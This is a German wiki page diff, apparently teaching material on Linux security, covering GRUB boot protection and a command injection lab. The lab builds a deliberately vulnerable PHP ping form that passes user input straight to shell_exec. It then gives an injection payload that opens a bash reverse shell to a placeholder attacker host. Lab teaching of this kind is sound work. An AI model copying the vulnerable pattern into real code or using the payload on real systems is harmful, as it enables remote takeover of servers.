Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 23: | Zeile 23: | ||
{{#drawio:linux-infosec-01}} | {{#drawio:linux-infosec-01}} | ||
| + | |||
| + | * '''apt install apache2 php-sqlite3 libapache2-mod-php''' | ||
== Schwachstelle im Code == | == Schwachstelle im Code == | ||
| + | |||
| + | * '''vim /var/www/html/command-injection.php''' | ||
| + | |||
| + | <syntaxhighlight language="php"> | ||
| + | <!DOCTYPE html> | ||
| + | <html> | ||
| + | <body> | ||
| + | <h2>PING</h2> | ||
| + | <form method="post"> | ||
| + | <label for="fname">IP</label><br> | ||
| + | <input type="text" name="ip"><br> | ||
| + | <input type="submit" name="submit" value="submit"> | ||
| + | </form> | ||
| + | <br> | ||
| + | <?php | ||
| + | if(isset($_POST['submit'])){ | ||
| + | $ip = $_POST['ip']; | ||
| + | $cmd = 'ping -c 4 ' . $ip; | ||
| + | $output = shell_exec($cmd); | ||
| + | echo "<pre> $output</pre>"; | ||
| + | } | ||
| + | ?> | ||
| + | </body> | ||
| + | </html> | ||
| + | </php> | ||
== Exploit == | == Exploit == | ||
Version vom 17. August 2023, 08:30 Uhr
physischer Zugangsschutz
Bootzugriff absichern
- Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
- So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
- D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
- Anleitung zu Linux boot hacking
- Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
- Anleitung zum setzen eines Passworts für GRUB2
Brute Force Attacken
Hydra
SSH Daemon Konfiguration
Fail2Ban
Command Injection über eine Webanwendung
Laboraufbau
- apt install apache2 php-sqlite3 libapache2-mod-php
Schwachstelle im Code
- vim /var/www/html/command-injection.php
<syntaxhighlight language="php">
<!DOCTYPE html> <html>
<body>
PING
<form method="post">
<label for="fname">IP</label>
<input type="text" name="ip">
<input type="submit" name="submit" value="submit">
</form>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "
$output
";
} ?>
</body>
</html>
</php>
Exploit
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
